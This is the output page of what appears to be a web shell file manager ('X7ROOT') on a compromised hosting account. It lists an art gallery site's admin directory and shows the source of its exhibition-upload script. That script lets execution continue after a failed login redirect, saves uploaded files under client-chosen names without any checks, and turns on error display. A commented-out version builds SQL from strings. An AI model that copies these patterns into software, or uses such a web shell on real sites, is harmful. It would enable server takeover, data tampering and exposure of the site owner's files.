X7ROOT File Manager
Current Path:
/home/u408670528/domains/vittoriabeltrame.com/public_html/admin
home
/
u408670528
/
domains
/
vittoriabeltrame.com
/
public_html
/
admin
/
📁
..
📄
.DS_Store
(6 KB)
📁
ajax
📄
artists.php
(6.87 KB)
📄
artists_delete.php
(309 B)
📄
artists_edit.php
(6.06 KB)
📄
artists_edit2.php
(519 B)
📄
artists_new.php
(5.8 KB)
📄
artists_new2.php
(663 B)
📄
blog.php
(6.94 KB)
📄
blog_delete.php
(648 B)
📄
blog_edit.php
(10.43 KB)
📄
blog_edit2.php
(2.28 KB)
📄
blog_new.php
(9.71 KB)
📄
blog_new2.php
(1.44 KB)
📄
changepsw.php
(535 B)
📁
css
📄
exhibitions.php
(7.41 KB)
📄
exhibitions_delete.php
(879 B)
📄
exhibitions_edit.php
(7.74 KB)
📄
exhibitions_edit2.php
(3.98 KB)
📄
exhibitions_new.php
(7.4 KB)
📄
exhibitions_new2.php
(2.52 KB)
📁
img
📁
includes
📄
index.php
(9.63 KB)
📁
js
📄
logout.php
(78 B)
📄
press.php
(7.01 KB)
📄
press_delete.php
(507 B)
📄
press_edit.php
(5.34 KB)
📄
press_edit2.php
(834 B)
📄
press_new.php
(5.13 KB)
📄
press_new2.php
(606 B)
📁
vendor
📄
works.php
(7.2 KB)
📄
works_delete.php
(500 B)
📄
works_edit.php
(6.86 KB)
📄
works_edit2.php
(939 B)
📄
works_new.php
(6.3 KB)
📄
works_new2.php
(657 B)
Editing: exhibitions_new2.php
<?php session_start(); if(isset($_SESSION["validado"])!=true){ header("Location:../index.php?ventrada=fail"); } include("../includes/conexiones.php"); ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); $exName=mysqli_real_escape_string($con,$_POST["fullname"]); $exAuth=mysqli_real_escape_string($con,$_POST["author"]); $start=date("Y-m-d",strtotime($_POST['start'])); $end=date("Y-m-d",strtotime($_POST['end'])); $venue=mysqli_real_escape_string($con,$_POST["venue"]); $pic=$_FILES["cpic"]["name"]; $text=$_POST["cdescription"]; $stmt=$con->prepare("INSERT INTO exhibitions (ex_name, author, start_date, end_date, venue, photo, text) VALUES (?, ?, ?, ?, ?, ?, ?)"); $stmt->bind_param("sssssss", $exName, $exAuth, $start, $end, $venue, $pic, $text); if ($stmt->execute()) { $lastId = $stmt->insert_id; copy($_FILES["cpic"]["tmp_name"], "../assets/img/exhibitions/" . $_FILES["cpic"]["name"]); if (isset($_FILES['slider'])) { $countFiles = count($_FILES['slider']['name']); for ($i = 0; $i < $countFiles; $i++) { $fileName = $_FILES['slider']['name'][$i]; $stmtSlider = $con->prepare("INSERT INTO slider (id_exh, picture) VALUES (?, ?)"); $stmtSlider->bind_param("is", $lastId, $fileName); if ($stmtSlider->execute()) { move_uploaded_file($_FILES['slider']['tmp_name'][$i], '../assets/img/exhibitions/slider/' . $fileName); } else { echo "Error: " . $stmtSlider->error; } $stmtSlider->close(); } } header("Location: exhibitions.php?vexhibition=done"); } else { echo "Error: " . $stmt->error; } $stmt->close(); $con->close(); ?> <!-- $sql="INSERT INTO exhibitions (ex_name, author, start_date, end_date, venue, photo, text) VALUES ('$exName', '$exAuth', '$start', '$end', '$venue', '$pic', '$text')"; if (mysqli_query($con,$sql)){ $lastId=mysqli_insert_id($con); copy($_FILES["cpic"]["tmp_name"],"../assets/img/exhibitions/".$_FILES["cpic"]["name"]); if(isset($_FILES['slider'])) { $countFiles=count($_FILES['slider']['name']); for($i=0;$i<$countFiles;$i++){ $fileName=$_FILES['slider']['name'][$i]; $sql="INSERT INTO slider (id_exh, picture) VALUES ($lastId, '$fileName')"; if (mysqli_query($con,$sql)){ move_uploaded_file($_FILES['slider']['tmp_name'][$i],'../assets/img/exhibitions/slider/'.$fileName); }; } } header("Location:exhibitions.php?vexhibition=done"); } else { echo "Error: " . mysqli_error($con); header("Location:exhibitions.php?vexhibition=error"); } -->
Upload File
Create Folder